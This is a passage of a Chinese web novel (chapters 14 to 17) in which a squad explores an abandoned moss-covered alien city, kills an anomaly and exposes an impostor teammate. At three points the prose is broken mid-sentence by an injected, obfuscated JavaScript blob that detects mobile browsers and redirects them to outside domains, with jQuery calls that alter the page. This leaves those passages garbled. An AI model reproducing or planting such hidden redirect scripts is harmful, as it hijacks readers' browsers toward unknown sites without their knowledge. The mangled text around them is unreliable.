此时,属于这个星球的太阳正从青苔城市背后缓慢地升起,城市背着光,阴影投在深灰色的土地上,像一个正在沉睡的巨人。 也许是太久没有离开过异种保护所,柳一身体紧绷,他尽量放轻自己深呼吸的动静,但还是被李琢光发现了。 她微侧过头安抚道:“有我在,别怕。” 14. 青苔城市(二) 等飞船彻底停稳后,几人开始准备下船工作。 李琢光在穿上防护服时,侧着头从窗口观察着远方的青苔城市。 她忽而眉头一皱,走到望远镜前。 从望远镜里看了一会儿,她又抬起头。 几次反复之后,芮礼忍不住调出飞船的观测记录问:“发生什么了?” 李琢光抱臂思考了半分钟,面露迟疑:“我总感觉……” 她一只手捂住半张脸,闭上眼,面孔显得有些疲惫,说起话来也有气无力的:“我没有看向它的时候就没有青苔,看过去以后青苔又回来了。” 她都不知道该如何形容,就像那青苔是与城市在不同图层上的贴图,而当她移开目光时,就是把青苔图层隐藏。 芮礼上前替李琢光轻揉太阳穴,而柳一调出好几种动物尾巴,伸到李琢光身前,看她打算捏哪个缓解疼痛。 李琢光哪个都没选,她推开了芮礼和身前的尾巴,目光又看向青苔城市。 芮礼皱眉:“你觉得很难受?” “嗯,有点头疼。”李琢光叹了口气。 芮礼回头查看数据监测:“辐射数据并不高,还比猎户座平均值要低上一些。” 她的头痛并非由于辐射升高。 是因为城市中那只未知异种的影响? 如果她的眼睛是能清晰辨别死物异种的异状,那么这个突然消失和出现……算异状吗? 这与李琢光最初的猜测也差不多,真正的异种就是青苔。 所以任务就这样完成了? ……当然不可能。 不说只能依靠她的双眼,而那异状是否是她的错觉,就算是,这个理由连李琢光自己都说服不了。 “准备好了吗?”她回头看向自己的队友,“准备好就出发吧。” 队友们做好最后的检查,向李琢光报告已做好准备。 她们与芮礼告别,开着清剿山地车前往远处的青苔城市。 山地车速度很快,李琢光也开得很平稳,青苔城市的全貌在她们面前放大。 钢筋铁皮的建筑外墙上爬满青苔,墙壁缝隙中向外长出繁茂的枝叶,路的尽头被吞没在一片郁郁苍苍之中。 保险起见,她们没有把车子开进城市里,而是停在城门口没有青苔覆盖的不远处。 空气潮湿而闷热,只是片刻,李琢光防护服的玻璃外罩上就起了一层雾。 她抹去水雾,让队友尽量挑着地上没有青苔的地方走。 “青苔尽量都不要碰也不要踩,有异常立刻发射烟火,但是不要轻易使用火焰枪。” “收到!” 芮礼把城市分为三块,正上方是中心研究所,负责全城洁净水源、电能供给,左下是商业区,右下是住宅区。 她们没有分头行动,毕竟现在能鉴别死物异种的只有李琢光一个人。 她们先到达商业区。 看着如今的残垣断壁,也能想象到当初这里是何等繁华。 李琢光踢开街头第一家便利店的店门,门锁处早被青苔侵蚀干净,她都没用什么力,门就吱吱呀呀地倒下。 体型最大的观千剑和柳一负责警戒,其她二人与李琢光一起端着枪进入寻找线索。 便利店的架子很矮,李琢光只有一米七出头,都能不用踮脚就平视着越过最高层。 架子几乎都被清空了,不管是食物也好、日用品也好,唯一被留下的只有饮用水和饮料。 那些瓶子还是崭新的,瓶上布满豆大的水珠,瓶盖上落着厚厚一层灰。 李琢光挑了一块没有沾上青苔的价标,抹去灰尘与水雾。 陈戊在一旁冷不丁出声:“这是阿涞族的文字。”他拿起价标,近距离观察后下定论道,“阿涞族。” “哇你吓死我了!”昙起云浑身一抖,“我差点一炮上来了。” 李琢光的护目镜都没有分析出这是哪族文字:“阿涞族在银河纪元开始前就已灭绝了,目前为止存在与否都是猜测,你确定吗?” “确定。”陈戊丝毫没有迟疑,“我大学的时候因为异能,经常会被图书馆管理员遗忘在馆内,我晚上没事干的时候就会看书。 “当时中心图书馆七层最角落的一排都是一些很奇怪的书,我好奇心旺盛,就都看了一遍,里面提到过阿涞族的文字。” 陈戊的异能是超低存在感,还是被动异能,一天二十四小时都无法停下,只有不受激素影响的李琢光能注意到他。 他的异能等级并不高,否则激素来不及分泌,早就被抽干了。 从某种程度上来说,陈戊的异能与死物异种篡改记忆的方式有异曲同工之处。 “图书馆七楼?” 芮礼插话,她语调微微上扬,似有万千不解。 “中心图书馆只有六楼,第六层就是阁楼了。” 陈戊看向李琢光,想知道最准确的记忆是怎样的。 李琢光:“……” 惭愧,她从来没去过中心图书馆楼上,只在大门口等着芮礼出来和她约饭。 所以她只能含糊地说:“从外面看上去,确实只有六层。” 观千剑和昙起云估计连中心图书馆在哪都不知道。 陈戊瞪大双眼,微微仰起头,盯着虚空沉思。 李琢光拍拍陈戊的肩膀,安慰道:“我记下了,芮礼也会记下,等这次任务回去,我就去中心图书馆看看。” “好。”陈戊也没有继续纠结这件事。 三人绕着便利店里走了两圈,有青苔覆盖的地方都没敢碰。 店内的东西都被搜刮干净了,没什么好看的,她们便想离开。 走到门口时,不知哪里吹来一阵风,吹响了店门上挂着的风铃,铃铛内部一大块青苔掉落。 李琢光拉着陈戊猛地后退两步,青苔堪堪擦着她的面前砸到地上。 绿色的汁水溅上她的裤腿,混着防护服上的水珠,很快攀不住防护服外侧,变成一道细微的水流,流入鞋底,消失在地面。 “你腿上溅到青苔了。”陈戊蹙眉,蹲下身想用手把青苔擦干净。 李琢光抽回腿:“没事,不要让青苔沾染的面积变大,先走吧。” 陈戊抬头看了她一眼,看她头也不回地往下一家店走去,这才作罢起身。 她们花了两小时左右的时间,把一条街路边的小店都大致逛了一下,情况差不多。 都已被洗劫一空。 无论有用还是看似无用的东西都被拿走了,她们在路边的垃圾堆中发现几个疑似的残骸。 有些店内的桌子上还放着喝到一半的水杯,水杯周围青苔的密度极高,几乎是其她地方的两倍。 她们例行公事地搜查居民区。 破开第一间房子,就是一股恶臭扑面而来。 那臭味臭得人头晕眼花,仿佛盛夏时节发现潮湿的稻草堆中原来埋着几具死去好几天的老鼠尸体。 臭味的来源是地板,她们小心撬开一小块地板,气味凝重到几乎拥有形状。 “阿涞族普遍矮小,生活环境炎热,所以她们不用冰箱,而是在地板和墙壁内设置冰层,既可以冰冻食物,也相当于空调。” 听着陈戊背诵的话语,李琢光直起脊背。 陈戊的记忆确实可能是假的,但假的东西和她如今所见能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14026455|148774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一一对应,可能性大吗? 非常小。 芮礼幽幽道:“也许我需要重新审视一下我的记忆是否出错了。 “我这边资料上猎户座α-10877曾经的文明是一种类人文明,有着与人类一样的躯体和外貌,唯一不同的是,这里的人类外貌是不生长的。 “也就是说,生命刚诞生时的模样就是这人一生的样貌,永远不会改变。” 芮礼的声音顿了顿。 “她们同样称自己为人类。” 茫茫宇宙中,有这么一个种族,与人类一样,还起了完全一样的名字,这个可能性比陈戊的记忆是假的还要低。 这里居民吃的东西和她们吃的完全不一样,但是从使用工具的外型和一些熟悉的食物种类可以大概推断—— 居民都是在吃饭吃到一半的时候突然失踪或死亡。 冷透的咖啡,发霉的水果,干瘪的、被青苔啃去一大半的腐肉。 无一例外,全都没有生虫。 “这个星球上没有蛆虫苍蝇之类的么?” 芮礼很快给了答复:“有的,猎户座α-10877除了天气更炎热、更潮湿,基本生物与我们那儿差不多。” “可以通过这个房间的空气成分分析推演一下发生过什么事吗?” “我试试。” 李琢光便打开周围环境共享权限,芮礼那边啪啪响起操作仪器的声音。 “李队,这里有本记事的本子。”昙起云在内间喊道。 李琢光拉着陈戊走进房间,就见昙起云站在几尺远的地方,指着桌上的本子。 这房间非常宽阔,家具都是缩小尺寸的,便显得空置的空间格外大。 李琢光与陈戊走上前,本子外壳是动物皮质的,已快烂光了,露出底下写着密密麻麻字迹的纸张。 她拿着在外面捡到的、没有青苔附着的棍子小心翻阅本子,但纸张都粘在一起,很难一一分开。 为了不破坏线索,她只能找到一处有明显分开痕迹的,在那一页挑起。 这是猎户座α-10877人类的文字。 因为李琢光的护目镜自动启动了翻译。 「猎户历208月1008日: 「天气越来越潮湿了,我觉得连白星光都是湿的,放在外面的毛巾一天就湿透了,这日子什么时候是个头?」 「猎户历208月1012日: 「笑死,水全滞销了。」 「猎户历208月1073日: 「恨死了,当初占领这里干什么?明明我们自己的星球也还能生活!恨死了。」 「猎户历208月1100日: 「楼下好吵,和她们讲道理还摔我门……唉,我什么时候可以不要再这么窝囊?」 「猎户历208月1101日: 「彻底受不了了,今天点了火,果然干燥不少,感觉人生都明亮了!」 记录到此为止。 李琢光缓缓抬头:“208月1101日,芮礼,着重查——” 她话说到一半陡然刹车,叫周围队员瞬间不敢动弹。 她目光直勾勾地看着半空,可在其她人眼中那地方没有任何东西。 那里有个从腰部截断、黑色长发的女人,倒吊在天花板边缘,张开双手似要给来者一个热情的拥抱。 女人睁着眼,眼眶中却什么都没有,她咧开灰白干涩的嘴唇,伸出透明的舌头。 伸长、伸长、伸长。 精准地舔上了李琢光防护服头部的透明外壳,在她眼睛的位置。 观千剑倒吸一口凉气。这下她也看到了。 15. 青苔城市(三) 女人的舌头并没有在李琢光的头盔上留下任何水渍,相反,她还将一些水雾舔走了。 在沾上水珠的那一刻,她的舌头瞬间变黑,传来生肉扔进沸油中的滋滋声,女人喉咙里发出痛苦的低吟,上半身向里曲起,手指也扭曲成奇怪的形状。 昙起云倒吸一口凉气,随后与陈戊一起,立刻举起火焰枪,对准女人。 李琢光从腰间抽出电磁枪,轻轻压下她们的枪头,看着女人的目光带着深深的审视。 半晌,女人舌头上的油炸声减弱,女人的上半身像麻花一样卷过来,舌头长长地垂下。 她十指大张成爪状,下一秒就以极快的速度朝李琢光的眼睛抓来。 李琢光扣下扳机,一粒压缩成米粒大小的电磁被发射,触及到女人手心的那一刹那迅速膨胀成一张巨网。 巨网每一条纹路上都有电流,包裹住女人后电得她浑身抽搐。 当电流被消耗干净后,巨网凭空消失,失去支撑与气力的女人半具躯体无力地垂落下来。 这时李琢光才看清,她的腰部是被镶嵌在天花板中的。 衍生异种。 当已拥有异能的生命死在死物周围时,该生命体内残存的π+激素与辐射有几率将生命尸体与死物融合。 使其「重获新生」。 一般来说,这种异种砍下头就会死去了。 听到声响的柳一跑了进来,见到这从墙中生出的女人龇牙咧嘴,脸上隐隐有动物般炸毛的毛发出现。 李琢光瞥他一眼,拔出小刀,上前抓住女人的长发,一刀捅进她的脖颈,另一只手生生撕下她的头颅。 女人的身体里没有血,将头割下来后,身体上残存的一丝挣扎也彻底消失。 李琢光还是觉得不保险,毕竟昙起云她们一开始看不到这只衍生异种,谁知道死物异种会不会重新复活。 于是,她便让观千剑把她举起来,将女人的上半身也割下来扔到了门外去。 女人的尸体刚落地,不知是落地的微小震动还是带起的风,尸体周围葱茏的青苔似乎往后仰了仰。 等李琢光仔细看去时,又什么变化都没有。 她将自己先前被打断的话说完:“着重查猎户历208月1101日的变化。” 大概在李琢光杀女鬼的时候,芮礼就在查询了,所以这边在李琢光几人赶往下一间房间时,芮礼在耳麦里顺畅报告。 “猎户历208月1101日匹配到标准时间的银河纪元,是1024年12月12日,也就是凤凰座θ-3709-1的地质研究所废弃后一天。 “我这边的空气成分分析推演得知,该空间内也是自1024年12月12日后失去生命痕迹。” “也就是那边研究所刚废弃,这边就发生生命失踪事件了?” “是的。” 在休息的那几日中,小队已经将有关地质研究所能搜集到的线索都找出来了,但结果是没什么用的。 研究所能被搜索到的公开信息只有科学报告、人员发表论文和日常维护公告,在1024年12月11日这一天突然人间蒸发。 生命蒸发的时间隔得这么近,李琢光不相信是巧合。 ……难道霍总指的办公室里,如此近的地方就存在死物异种吗? 否则如何能左右霍总指的决定呢? 李琢光一边思索,一边让观千剑踹开下一间房门。 一股黑色的浓烟从破洞的门内争相涌出,李琢光下意识一手拉着一个、背后还抵着两个退了好几步。 这浓烟中并没有想象中的焦味,也与已知反应后会生出黑烟的元素会散发的味道不太一样。 浓烟的味道是清香的青草味,拂过门框时,裹挟着青苔表面的须发盘旋到空中,在无风的地方飘飘忽忽地往下落。 还好李琢光的环境共享还没关,得以让芮礼马上分析成分。 “成分分析是呃……”说话的芮礼难得卡壳。 李琢光甚至听到芮礼轻声嘟哝:“这是什么字啊……” 看这烟的架势一时半会儿是灭不掉了,不得已之下,李琢光在走廊中扔了一个微型摄像机。 随后她带着众人重新回到第一间房子里,把门合上,门框边的青苔反倒成了帮忙堵塞的东西。 芮礼查了半天资料终于放弃,说:“我把分析报告发群里,你们自己看,我觉得很像那个谁说的阿涞族语言。” 陈戊弱弱补充:“我叫陈戊。” 芮礼:“……哦,抱歉。” 陈戊神色平静地打开分析报告:“没事,不怪你,我习惯了。” 分析报告大部分都是正常的阿拉伯数字结果,看得懂,但是看不懂。 拉到最下面的结论部分,原本该是晴山文字的部分却突兀地出现了一行完全陌生的语言。 “确实是阿涞族的语言。”陈戊道。 他指着文字底下的横线说:“阿涞族的语言典型特征就是单词的第一个字母最后一笔需要延长,直至包围这一整个单词。” “那你认识这几个单词吗?”虽然不抱什么希望,但李琢光还是问了一句。 陈戊勾起嘴角,眉眼如同一弯浅淡的新月:“李队,你也太看得起我了。” “芮礼,那用你的异种。” 李琢光一直想避免在有可能存在死物异种的地方使用队友的异能,但是现在看来,不得不用了。 还好芮礼在飞船内部,飞船的安保系统很完善,她不会第一个被盯上。 “嗯。” 女人淡淡应了一声,平稳的呼吸声自频道那头传来,李琢光看到队友列表中,属于芮礼的π+激素开始上涨。 房间中刮起一阵无由风,卷得苔衣往南方倾斜。 昙起云指着那被扔出来的女人尸身说:“我去,这腐烂得也太快了吧。” 李琢光循声看去,女人身体上的肉大半剥离了透明骨架,落在地面上,表面覆盖了一层黑色如碳灰般的东西。 她扭了一下脖子,躲开荡过来的枝条,顺手推开右手边的观千剑。 被推开的观千剑举起枪对着周围警戒,却不知道具体该往哪里看:“李队,是哪里的异状?” “暂时不用。”李琢光看了观千剑的手臂一眼,提醒道,“小心不要使用异能。” “结论是想说……”芮礼结束异能的使用,她体内的激素浓度趋于平缓,慢吞吞地说,“这个烟雾是青苔的气体形态,大概类似于水和水蒸汽的关系。” 房间中的风停歇了。 芮礼的声音顿了顿,再响起时就恢复正常:“我现在把激素抑制器关了,开了计时器,看我多久忘记,也许能推测死物异种距离。” 话音刚落,李琢光忽而觉得自己的右腿如同灌了铅般沉重,她低头一看,那沾上翠色的裤腿已洇开一团团暗绿色的纹路。 她试着抬了抬腿,在空中晃了晃,有些像衣服吸饱水后的感觉。 “怎么了?”一直注意着李琢光动静的柳一出声,他蹲下身,似乎想用手擦去她腿上的水渍。 “别乱动。”李琢光一把抓住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14026456|148774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柳一的手腕,短促而严肃地警告道,“你们所有人都要注意别碰到青苔。” “你觉得变异的死物是青苔么?”观千剑双手叉腰,她一直盯着地上女人的尸首看。 李琢光顺着她的目光看过去,不知是不是错觉,李琢光觉得女人身上的肉又少了一些。 她回过神,答道:“我猜测的,总之小心为上。” 她们又等了一会儿,在微型摄像机的镜头中看到烟雾渐渐散去,这才准备开门去下一间房间。 李琢光在走廊中收回微型摄像头,让其她队员先在外面稍等片刻,她端着一支激光步枪,先走了进去。 这间房间的墙壁被烟雾熏黑,家具布置和刚才的屋子是轴对称的,牌子也是相同的,看起来是预装房。 这里没有腐烂的肉味,桌上干干净净,与上一个房间差不多的餐具整齐地摆放在橱柜中。 客厅正中央放置着一盘堆垒的黑色条块,都已烧焦得辨识不出原本的材质。 李琢光想了想,还是启用了护目镜。 材质检测功能正常运转,但是在一连串数据过后,留下的结论同样是阿涞族的文字。 ……好吧,那她是拿这东西没办法了。 飞船通讯频道的绿灯闪烁了一下,李琢光以为芮礼有什么紧急情况,但她很久都没有说话。 “芮礼,什么事?” 耳麦那头沉默了一会儿,从芮礼那有些许沉重的呼吸声中,李琢光竟觉察到一丝脆弱。 她听见芮礼说:“我开着计时器,但我为什么开着?” 芮礼应当是将面对其她几人的通讯频道关闭了,只有李琢光听得到。 她从来没听过芮礼有这种语气,一时也不知该用怎样的语调安抚,于是便将任务的优先级前移:“计时器上显示什么时间?” 芮礼吸了吸鼻子,说:“八分半。” 李琢光用脚踢开里侧的房门,本该是卧室的地方却画着奇怪的符号与图案。 在房门打开的同一时刻,那图案的十个角上都无端燃起幽绿色的火焰,刹那间照亮金属地板上花纹一般的青苔,瞬间一条如龙的火焰腾空而起。 耳麦中传来一些争执的闷哼,夹杂着“柳一”与“你别冲动”的高喊。 芮礼说:“你那边辐射数据飙升,柳一想冲进来看你怎么样了。” 李琢光的脸颊抽搐一下,她正想退出去看一眼外面的情况,房间门背后被无影的手一拍,骤然有了关闭的动势,她身体下意识地旋踵后退。 “砰——”的一声,门被重重合上,青苔溅了一地。 “李队!什么情况?” “李队?” “李——” 李琢光身后的绿色火焰乍然冒出一人高,炙热的温度瞬间将她防护服上残留的水珠烧至蒸发,腿上绿色的痕迹也淡了许多。 墙上绿油油的青苔在火焰的映衬下微微发抖,李琢光甚至觉得它们的厚度都减少,像是害怕到拼命后缩,以防被火舌燎到。 背后的门被拍响,队友焦躁的呼喊与撞门的声音此起彼伏。 可是门上都是青苔!该死的,她们怎么这么不—— 李琢光急得脑袋冒汗,疯狂划拉武器列表选择该用哪个灭火武器,在眼睛瞄到队友状态条时,鬼使神差地想到一件事。 她一使用注入激素的道具就会吸引死物异种,就连远在千米之外的芮礼使用异种,城市里都会发生异象。 为什么一直被动使用异能,体内激素一直在分泌的陈戊没有吸引到一丝异常反应? 16. 青苔城市(四) 李琢光的动作停下,她开始仔细聆听身边的声音。 面前是劈啪作响的火堆,背后是观千剑利用金属化在捶门,陈戊与昙起云用力控制着柳一的行动。 观千剑是八级,她对健身有着超乎常人的热爱,几乎可以称之为执念,因此她的体格是最大的。 柳一是十级异种,这个等级本身变异后的身体素质就可以空手锤塌大楼。 级别决定体型的上限而非下限,但实力硬差距是客观的。 就算李琢光靠肉/体魔鬼训练如今能打赢十级异种,但真要坐下来扳手腕,她的腕骨被捏碎不需要一秒。 为什么急需破门的时候,不让柳一模仿观千剑的金属化? 外面三个人情急之下想不到,芮礼还想不到吗? 十处火焰连成一片,变成一堆完整的火堆,饱满而高涨。再加上墙壁都是金属的,李琢光抬起头,护目镜上的温度直逼三百度。 她看到离房间中心距离近的绿意已淡得几乎看不见,反而角落里的积起厚厚一层。 这次任务的巧合太多了。 先是出现数据库以外的语言,而陈戊刚好在一个可能不存在的地方读过相关资料。 再是在上一间房子里,屋主写下过烧起火以后,空气变得干燥不少,很有用。 下一间屋子就让她如此顺利地看到青苔惧怕火焰,甚至不惜直接将青苔就是变异异种直接放在台面上。 但严格意义上来说,青苔是植物,不算死物,为什么它引导的异象只有自己能看见? 李琢光的目光有所偏移,看向金属制的墙面。 她心头有一个猜测,只是目前还不知道如何去证实。 也许是感应到她的目光,房间中央的火堆缩小了一些,她赶紧歪过头,假装自己在观察墙壁上的青苔。 她绕着火堆走,头发黏在额头上,汗珠顺着她的脸颊、脖颈一路向下。 她走到房间里唯一的柜子前,攀住边沿,踩着柜子把手,稍一用力就把自己送到柜子顶。 李琢光单手撑着柜子,手套里一压下去尽是手汗的感觉。 她在空中转了个身,让自己面对房间,柜顶距离天花板的距离不够她坐上去,所以她只能维持着用双手支撑的姿势。 这个高度,她能清晰地看到天花板中央向房间内拱起,但是一眨眼,天花板又恢复平整。 这样看上去,就像是墙壁靠膨胀将青苔挤到边沿去的。 她松开手,轻巧地跳下,在武器列表里选出那把火焰枪。 腰带上的分子仪在空中编制出白色的线条组合,一点一点组合成一把完整的火焰枪。 李琢光举着枪,对着角落里的青苔就是一阵狂轰,那些绿色的植物在高温火焰下被烘干,直至变成干硬的一片,从墙壁上剥落。 每掉下一片,房间中央的绿火就变小一些。 当她把所有青苔都烧干净后,绿火彻底消失,一直打不开的门也啪嗒一声,弹开了。 她收起火焰枪,退出房间。 在两三百度的温度里待了十几分钟,一出来就像进了空调房,李琢光觉得自己身体里的水分也快蒸发完了。 她的队友都乖乖地待在门外等候,柳一焦躁不安地在原地转圈,但即使如此,她们也无人违背李琢光的命令。 “李队,你怎么出了这么多汗?”昙起云叽叽喳喳地叫嚷。 看到李琢光出来,队友们第一时间围上来。 “芮礼。”面对四双巴巴的眼睛,李琢光暂时还没心思搭理她们,防护服内的自循环系统缓解了她的口干舌燥,“你刚刚有和我说什么吗?” “没有。”芮礼汇报道,“我这边一切正常。” 李琢光追问:“刚才我进房间的十几分钟也正常?” “十几分钟?”芮礼重复,“没有十几分钟,从你进去到出来一共就两分半,信号也一直没断。” 李琢光低头查看武器列表里火焰枪的能量条,是满的,仿佛她根本没用过:“武器使用记录呢?有变化吗?” “没有。”芮礼顿了顿,补充道,“分子召唤记录也没有变化。” 听见这话,李琢光转而询问观千剑:“你们刚才有进来吗?” “没有。”观千剑答道,“我们都在外面等着呢,一直能听到你的动静。” “也没有听到关门和开门的声音?” “没有。”观千剑仍是摇头,她将李琢光进屋子短短几分钟的动静都重复了一遍,最后下巴对着柳一的方向抬了抬。 “就他,莫名其妙开始急了,差点章鱼触手都伸出来了,我们当他分离焦虑呢。” “我刚才应该是遇见幻境异种了。”李琢光说。 她其实也不太确定,因为时间太短了。 幻境异种都有舒适的幻境时长,在那一时长下,激素使用量是性价比最高的,等级越高,时长越长。 刚才的十几分钟如果是异种的舒适时长,那么这个异种才三四级,不可能让八级小队都无声无息地失踪。 如果是高等级异种,显然得不偿失。 要是她有异能就好了,异种都可以准确分别比自己等级低的异种究竟比自己弱多少—— 一旁的柳一忽然弯下身子凑近她,小声说:“按照辐射波动是十级异种,但是真实激素分泌水平和九级差不多。” 对啊,她怎么忘了柳一! 柳一的异能不止能模仿,还能通过吸收对方分泌的激素估算对方的等级。 知道自己帮上忙,柳一乐颠颠地站到旁边傻笑去了。 异种调控激素使用异能,激素关联辐射波动,辐射波动直接关系到理智。 情绪影响辐射波动的原理也在于间接影响激素分泌。 不同等级的异种除了辐射浓度与身体素质以外,本质不同在于摘去稳定环后,辐射浓度要到达多少才会彻底失控。 等级越高,上限越高。 所以如果激素分泌水平只有九级,那么辐射波动就不可能有十级。 “芮礼——” 李琢光的话还没问出口,芮礼就知道她想问什么:“异种体内可能存在什么东西能抑制它们的激素分泌。 “它想用十级异能,但由于抑制作用存在,只能分泌出九级异能所需的激素,却有十级的辐射波动。” “这种抑制作用的源头如果也是异种,那这个抑制异种是不是和陈戊的异能一样,是被动一直在使用的?” “陈戊?”芮礼愣了会儿才反应过来这是谁,“抱歉,应该是的。” 李琢光把陈戊拉到柳一面前,男人闻弦知意,闭上眼睛试着感受模仿抑制异能。 柳一的激素浓度上升,窗台上附着的青苔逐渐凸起,向中间靠拢。 李琢光清楚地看到,其实不是那些绿色的植物在动,而是底下的金属墙壁,是这座建筑本身在动。 柳一直起身,他停止使用异能的那一刻,周围的异象也停止了。 他转头,看向玻璃破碎、大敞的窗户,对街的居民楼外爬满了深绿色的枝条,像一条攀附在墙壁上的游龙。 李琢光适时提醒:“你刚刚有没有感受到抑制异能的存在?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14026457|148774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “……”柳一低下头,透过护目镜和透明头盔与李琢光对视,“二级,或者三级。差太多了,我不确定。” 芮礼尽职尽责地开始解释:“一般来说级别相差三级以上,异能的作用就会大幅削弱,所以三级异种抑制十级是不可能的事。” 李琢光斟酌着说:“但是这种说法,只有活物异种的样本对吧?” “是的。”芮礼答道,“你知道了一些什么吗?” “……可能吧。”李琢光答得模棱两可,随手拉过身边的队友,“我们先走吧,我已经知道这里的异种是什么,可以回去了。” 被她拉住手腕的陈戊顺从地跟着她走,一边的柳一走到李琢光另一侧,硬是把自己的手腕塞进了李琢光的手里。 于是李队一手牵着一个,顺着走廊尽头的楼梯往下走。 “李队还是一如既往地聪明。” 虽然不太明白为什么这次李琢光对他情有独钟,但陈戊还是配合地找话题放松气氛。 “你其实不用担心,我不会被落下的。” “嗯,我知道。”李琢光淡淡地应了,看也不看陈戊。 柳一斜睨陈戊一眼,鼻子里狠狠哼出一口气。 下楼梯的过程中,李琢光走得愈来愈慢,不知不觉三人就形成以陈戊脚步为准的队形。 陈戊毫无察觉,他偏过头咳了两声,吸气声里混杂着哮喘音:“我感觉有点缺氧,走不动了。” 李琢光无悲无喜,好像完全没听到陈戊说的走不动:“把自循环开高,我们走快一点,回到飞船用治疗舱吸氧。” “好的。”陈戊在手臂上的控制器调整自循环数据。 芮礼插话:“你开太高了,想氧中毒?” “不好意思。”陈戊连忙把数值拉低,“我缺氧,手有点抖。” 调完数据,他叹了口气,一瘸一拐地继续往前走。 他刚走出几步,又被李琢光再次拉住。 “又——怎么了?”他回过头,嘴角下撇,眼中的从容被不耐代替,但马上又想到眼前人的身份,强压住厌烦。 陈戊浑身紧绷,拽紧手指,脚尖朝向门口,似乎随时准备逃离。 李琢光盯着他的双眸,盯着他眸中金属色的倒影,和他本想去往的方向。 ——那里不是出口,甚至都不是门,而是一面坚硬的墙。 “你想去哪儿?那里没有路。” 李琢光的语调不高,模样漫不经心,却让陈戊心头无端升起一股寒意,仿佛面前女人其实早将他整个人看穿,看他狡辩如同看跳梁小丑。 他眼神一冷,猛地甩开李琢光的手,转身跳进那所谓的出口。 一连串动作不过一秒,没人阻止他,李琢光和柳一没想拉,观千剑和昙起云则是没反应过来。 成员列表中陈戊的头像迅速地暗了下去。 这代表他整个人已陷入无法监测的状态。 “陈戊?”耳麦中的芮礼不解出声,“他出什么事了?” “观千剑,你能看到什么?”李琢光没有回答,扭头问道。 李琢光的眸光只是轻轻扫过,昙起云便被她眸中的冷冽刺到。 很久没有见到队长如此生气,观千剑清晰了解这只异种触到队长唯一的逆鳞。 她说:“能看到陈戊跑了,一直跑到头……”她矮下身子,好更清楚地看到陈戊的轨迹,“跑进研究所了。 “它是不是想引诱我们去研究所?” 李琢光的眉梢嘲讽地挑起,尾音沙哑,似笑非笑。 “那就如它所愿。” 17. 青苔城市(五) 李琢光只带了柳一。 她原本谁都不想带,因为有异能会分泌激素的人现在都是拖累。 只是考虑到陈戊现在已不在可定位范围内,无头苍蝇似的闷头找太浪费时间,而陈戊的异能能让他成为柳一眼里的活靶子。 她倒是不期望柳一真能保护她,到时候别因为激素被城市异种控制,拖她的后腿就好。 观千剑和昙起云则将车子开回飞船待命。 李琢光走到研究所门口,她知道柳一对研究所有心理阴影,所以主动牵上了他的手。 他的肢体果真僵硬,迈出的每一步关节都打直,呼吸急促而不规律,视线紧紧盯着李琢光手腕一点,似乎生怕视野里闯进什么可怕的东西。 他紧抓李琢光的手像抓住什么救命稻草,那双如精心雕刻出的黑玉般的双眼中只余空洞和无措。 研究所内部也长满青苔,但密度比城市中要小了很多,甚至保留出一条供人走路的小道,地板上清晰地印着一道脚印轨迹。 “脚印大小深浅符合陈戊身体数值,李队,这是陈戊的脚印。” 为了尽可能少的使用激素吸引异象,李琢光关掉了身上所有道具的性能加强,只保留最基本的功能,而芮礼承担起了全部现场分析的职责。 李琢光跟着脚印走了一段,脚印的间隔很短,像是在原地踱步,或是在思考该往哪儿走。 脚印第一个拐弯就出现在不远处,拐入了第一间房间。 房间的门牌上写着类人文明的语言,护目镜自带的翻译包不包括这一语言。 芮礼适时开口:“这是门卫室。” 门卫室的门开着,空气中漂浮着肉眼可见的灰尘与苔种,抽屉与柜门大多敞开,里面什么都没有。 房间内却弥漫着一股隐隐约约的臭味,却比居民区烂肉的味道更甚。 李琢光用枪口拨开柜门一一查看,柜子上方按着一根杆子,看样子是挂衣服用的,有一处柜子边上残留着一片撕毁的白色。 “材质像是照片。”芮礼说,“就是很久以前为了黏性抛弃重复使用性的胶水,无法完整地将照片撕下来。” 李琢光看到最后一处柜子处,才发现原来最里面的夹角还有一扇柜子。 柜子门关着,但没有上锁,李琢光轻轻拉了一下,啵的一声,门应声而开,无数飞蚊苍蝇飞扑而出,飞蛾扑火般聚向窗口,然后在明媚天光中瞬间化为灰烬。 看清里面装着什么,李琢光拧着眉嫌恶地后退两步。 柜子里是一具身着安保服的尸体,没有完全腐烂,骨头上还残留着皮肤,血肉与青苔交织,为它编织出一件尚能蔽体的衣裳。 